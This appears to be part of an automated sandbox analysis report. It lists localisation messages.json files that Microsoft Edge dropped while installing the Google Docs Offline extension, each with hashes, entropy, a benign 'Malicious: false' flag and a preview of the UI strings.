Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
